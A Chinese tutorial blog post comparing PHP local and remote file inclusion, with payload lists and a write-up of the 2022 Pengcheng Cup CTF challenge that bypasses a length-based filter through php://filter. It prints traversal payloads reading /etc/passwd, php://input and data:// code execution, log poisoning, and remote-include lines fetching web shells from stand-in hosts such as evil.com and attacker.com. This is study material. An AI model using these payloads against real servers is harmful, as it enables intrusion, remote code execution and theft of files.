当前位置: 首页 > news >正文

文件包含2

远程文件包含与本地文件包含的区别

对比

对比项本地文件包含(LFI)远程文件包含(RFI)
定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件
依赖条件不需要特殊配置需要allow_url_include=On(PHP)
常见利用方式1. 读取敏感文件(/etc/passwd
2. 日志文件注入
3. PHP包装器(php://filter
1. 包含远程恶意脚本(http://evil.com/shell.txt
2. 直接执行远程PHP代码
危害1. 敏感信息泄露
2. 可能升级为RCE(如日志注入)
1. 直接远程代码执行(RCE)
2. 完全控制服务器
防御难度较容易(禁用危险函数+输入过滤)较难(需关闭远程包含功能)
示例Payload?file=../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
?file=http://attacker.com/shell.txt
?file=data://text/plain,<?php system('id');?>

例子对比

本地文件包含(LFI)

源代码的关键代码

include($_GET['file'] . '.php');

【这个代码对参数进行了处理,即在参数后面增加了一个.php的后缀,这就是将任何参数都转为了一个php文件】

 攻击者的payload

?file=../../etc/passwd%00  # 读取系统文件
?file=php://filter/convert.base64-encode/resource=config.php  # 读取PHP源码

 远程文件包含(RFI)

源代码的关键代码

include($_GET['url']);  // 未过滤直接包含远程文件

攻击者的payload

?url=http://evil.com/shell.txt  # 包含远程Web Shell
?url=data://text/plain,<?php system("ls");?>  # 直接执行代码

根据这两个例子的对比就可以看到其实二者从源代码其实是很难分辨出来,但是对于传入的payload却是有所不同的

本地文件包含的payload主要是文件路径(../../ )和php包装(php://)

远程文件包含的payload主要是url协议(比如:http://  或  ftp://等)

payload

LFI典型Payload示例

(1) 读取敏感文件

?file=../../../../etc/passwd
?page=/var/www/html/config.php

(2) 路径遍历绕过

?file=....//....//etc/passwd      # 双重编码绕过
?file=%2e%2e%2fetc%2fpasswd      # URL编码

(3) PHP包装器利用

?file=php://filter/convert.base64-encode/resource=index.php  # 读取PHP源码
?file=php://input              # 通过POST传入代码
[POST DATA]: <?php system("id");?>

(4) 日志文件注入

?file=/var/log/apache2/access.log
# 需先通过User-Agent或Referer注入PHP代码

(5) Null字节截断 (PHP < 5.3.4)

?file=../../etc/passwd%00      # 截断后缀

RFI典型Payload示例

(1) 基本远程包含

?file=http://attacker.com/shell.txt
?lib=ftp://evil.net/cmd.php

(2) 自动附加后缀的绕过

?file=http://attacker.com/shell.txt?   # 问号截断
?file=http://attacker.com/shell.txt%00 # Null字节截断

(3) data协议利用 (伪RFI)

?file=data://text/plain,<?php system("id");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+

(4) 结合短标签

?file=http://attacker.com/shell.txt&cmd=id
# shell.txt内容: <?=`$_GET[cmd]`?>

做个题

[鹏城杯 2022]简单包含

打开环境后得到的源码

这里看到直接告诉了flag的位置,  那么就猜测是一个 本地文件包含

直接去访问这个文件竟然输出waf

那看来这个有问题

试试php伪协议

在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参还是不行,去访问一下index.php看一下源码

去base64解码得到源码

<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {Secho 'nssctf waf!';
} else {@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

这里的关键代码就是if语句那一段

大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出“nssctf waf!”


这里拓展两个知识

与常见输入方法的对比

方法获取内容数据格式大小限制
php://input原始请求体原始二进制/文本
$_POST解析后的表单数据数组受限于 post_max_size
$_GETURL 查询参数数组URL 长度限制
$HTTP_RAW_POST_DATA原始 POST 数据(已弃用)原始数据

file_get_contents()函数

该函数的作用是将某文件读取为字符串

比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。


 那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议

我的payload

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php

 

或者直接访问源代码所给的文件路径

得到的编码进行base64解码就可以了

相关文章:

  • OpenCV的 ccalib 模块用于自定义标定板的检测和处理类cv::ccalib::CustomPattern()----函数calibrate
  • 火山引擎火山云主推产品
  • wpf UserControl 更换 自定义基类
  • PX4开始之旅(一)自动调参
  • Windows10 本地部署 IPFS(go-ipfs)
  • NX884NX891美光固态闪存NX895NX907
  • 汽车租赁|基于Java+vue的汽车租赁系统(源码+数据库+文档)
  • 【日撸 Java 三百行】Day 7(Java的数组与矩阵元素相加)
  • RT-Thread 深入系列 Part 1:RT-Thread 全景总览
  • Xterminal(或 X Terminal)通常指一类现代化的终端工具 工具介绍
  • 自定义装饰器
  • 使用AES-CBC + HMAC-SHA256实现前后端请求安全验证
  • P11369 [Ynoi2024] 弥留之国的爱丽丝(操作分块,DAG可达性trick)
  • 太阳能板结构及发电原理与输出特性分析——以杭州 5V 太阳能板为例
  • 北斗导航 | RTKLib中模糊度解算详解,公式,代码
  • [计算机科学#12]:高级编程语言基本元素,迅速上手编程
  • WebSocket:实时通信的新时代
  • 使用React实现调起系统相机功能
  • 如何利用爬虫获得1688商品详情:实战指南
  • 汽车制造行业的数字化转型
  • 雷军:过去一个多月是创办小米以来最艰难的时间
  • 欧盟公布关税反制清单,瞄准美国飞机、汽车等产品
  • 人民日报整版聚焦:铭记二战历史,传承深厚友谊
  • 上海楼市“银四”兑现:新房市场高端改善领跑,二手房量价企稳回升
  • 98岁动物学家、北京大学教授杨安峰逝世
  • 万达电影:股东杭州臻希拟减持不超1.3927%公司股份